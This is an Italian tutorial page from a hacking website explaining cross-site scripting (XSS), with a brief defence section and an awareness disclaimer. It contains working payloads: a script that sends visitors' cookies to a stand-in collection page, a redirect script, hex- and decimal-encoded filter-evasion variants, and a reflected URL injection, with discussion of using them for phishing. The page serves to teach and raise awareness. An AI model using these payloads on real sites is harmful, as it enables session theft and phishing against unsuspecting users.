(¯`·._.·[°o.OKinG-InFeTO.o°]·._.·´¯)


Vai ai contenuti

Menu principale:


--->XSS<---

Hå¢kÎñG

La Tecnica XSS - Cross Site Scripting





Il motivo della sigla xss e non css , è proprio per evitare di far confondere i meno esperti con la sigla css che in gergo webmaster sta per “Cascading Style Sheets” L’attacco XSS appartiene alla tipologia injection, quindi si tratta di immissione di codice arbitrario in input alle pagine web. A differenza di sql injection ed altri attacchi alle web application trattati precedentemente a questo attacco , sono vulnerabili siti dinamici e non . L’attacco può essere portato a compimento su qualsiasi sito che presenti l’utilizzo di tecnologie come JavaScript, VBScript, ActiveX, HTML e Flash. Per chi non conosce queste tecnologie , basti pensare che si tratta di linguaggi e applicazioni che vengono eseguiti direttamente dal vostro web browser (internet explorer, netscape, Mozilla Firefox, ecc.)

Come al solito, questa vulnerabilità è dovuta agli errori dei programmatori, che molto spesso trascurano completamente la validazione delle informazioni passate in input al sito dagli utenti.

L’attacco Cross Site Scripting è quindi possibile d’attuazione, quando un sito web prende in input dati su cui effettua delle operazioni. Queste informazioni vengono inviate al sito solitamente tramite url. Questi dati, in siti non protetti, vengono visualizzati cosi’ come sono stati inseriti dagli utenti. Potenzialmente la vittima dell’attacco non è solo il sito, ma anche l’utente, proprio perché occorre un semplice link che porta ad una pagina di un sito non protetta per creare danni. Cliccando infatti incautamente su uno di questi link che si può trovare su un sito web o una mail , si può cadere vittima di questo attacco il cui fine è solitamente quello di raccogliere dati degli utenti , leggere i cookie, dirottare l’utente su un altro sito o visualizzare falsa pubblicità.

Analisi dell’attacco

Immaginate di essere su un forum o di scrivere su un guestbook
Nel testo scriveremo un cosa come:
<script>location='http://www.eurohackers.it/';</script>

Successivamente salviamo il nostro testo su un forum non protetto da questo attacco e avremo come risultato che chi carica la pagina con il nostro messaggio , sarà reindirizzato al sito www.eurohackers.it

Detto così non sembra poi tanto dannoso, ma pensate se sul sito su cui effettuo il reindirizzamento , creo pagine che permettono la raccolta dei dati ,

utilizzando un codice del tipo:

<script>document.location='http://www.sito.com/leggo-cookie.asp?'+document.cookie</script>

Ottengo appunto il risultato di poter leggere i cookie rilasciati dal sito vittima e di inviarli ad una pagina appositamente creata per l’archiviazione (leggo-cookie.asp). Se i cookie non sono crittografati , come succede spesso , si ha che l’attaccher otterrà user e password di tutte le persone che visitano la pagina del forum contenente il suo messaggio.Si può pensare anche ad un codice che faccia comparire qualche messaggio di alert come finestre di errore o che carichi all’interno della pagina attaccata un sito esterno.

È possibile ad esempio, manipolare il tag che in html si occupa di visualizzare le immagini in modo che faccia comparire una finestra di alert

<img SRC='javascript:alert("KinG-LioN Security TEST")'>

La stessa cosa per eludere eventuali filtri del web master potrebbe essere scritta informato Hex

<img SRC='%­6A%­61%­76%­61%­73%­63%­72%­69%­70%­74%3A%­61%­6C%­65%­72%­74%28%22%­4E%
6F%­54%­72%­61%­63%­65%20%­53%­65%­63%­75%­72%­69%­74%­79%20%­54%­45%­53%­54%22%29'>

Oppure in decimale:
<img SRC='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&
#114&#116&#40&#34&#78&#111&#84&#114&#97&#99&#101&#32&#83&#101&#99&#117&#114&#
105&#116&#121&#32&#84&#69&#83&#84&#34&#41'>

Analizziamo ora un attacco Cross Site Scripting ( XSS ) iniettando codice in un url tramite link :

Pensiamo ad un sito con motore di ricerca in stile google che nel momento in cui clicchiamo sul pulsante “cerca”, invia le informazioni con “metodo get” quindi nell’url del browser. Se ad esempio scriviamo su google “ Anonimato ” e clicchiamo su “cerca” , possiamo leggere nel campo indirizzo del browser una cosa del tipo: /search?q=Anonimato

Tornando al nostro esempio immaginiamo un sito che utilizza lo stesso criterio
http://www.sito-vittima.xx/cerca.asp?parola=Anonimato

Il web master nella pagina cerca.asp avrà implementato un codice che permette di recuperare le informazioni della variabile parola ed effettuare la ricerca; oltre ai risultai della ricerca inserirà sicuramente un codice del tipo :
Sono state trovate 15 risultati per la parola <%=Request.querystring("parola")%>

Il codice Request.querystring("parola") recupera proprio il valore passato in input dall’utentee lo visualizza . In questo caso sarà visualizzato ”Anonimato” .
Se invece di ricercare anonimato si ricercasse una cosa del tipo:

http://www.sito-vittima.xx/cerca.asp?key=&...('Sicurezza Informatica')></script> ,

si otterrebbe la comparsa di una finestra di alert con la scritta “ Sicurezza informatica “ .

Si potrebbe ricercare il codice javascript per il redirect o per la lettura dei cookie, il codice cosi scritto, potrebbe essere inserito in una mail e magari codificato in modo da renderlo poco visibile. Potrebbe essere spacciato per un collegamento del sito e renderebbe gli utenti più vulnerabili ad attacchi di phishing. Inserendo ad esempio un redirect nel codice iniettato l’utente crede di andare sul sito http://www.sito-vittima.xx/ mentre si trova sul sito http://www.furbetto.xxx ,
che in caso di attacco phishing sarà sicuramente creato ad immagine e somiglianza del sito vittima rendendo quindi ulteriormente complesso il riconoscimento del phishing

Come difendersi
Per gli sviluppatori è opportuno controllare minuziosamente ogni informazione inserita in input dagli utenti prima di inoltrarla alle proprie applicazioni .
Per gli utenti è necessario cercare di tenere sempre aggiornato il proprio browser, i browser permettono di disabilitare l’utilizzo di linguaggi come javascript, vbscript, activix .

E’ doveroso ricordare che questi articoli non sono stati scritti per attaccare siti e applicazioni, ma per rendere sviluppatori e utenti consapevoli dei pericoli a cui si può andare incontro con questa tipologia di attacchi.








Copyright © by Eurohackers.it - European Hackers TeaM Tutti i diritti riservati.

Creative Commons License
Questo sito è pubblicato sotto una Licenza Creative Commons

Home Page | Regole dell'Hacker | Contattaci | Hå¢kÎñG | VìRû§ | Video TuToRial | Hå¢kÎñG M§Ñ | ÐC++ | Wìñdøw$ Xþ | Mappa del sito


Sito protetto da CoPyRiGhT 2008/2009 | [email protected]

Torna ai contenuti | Torna al menu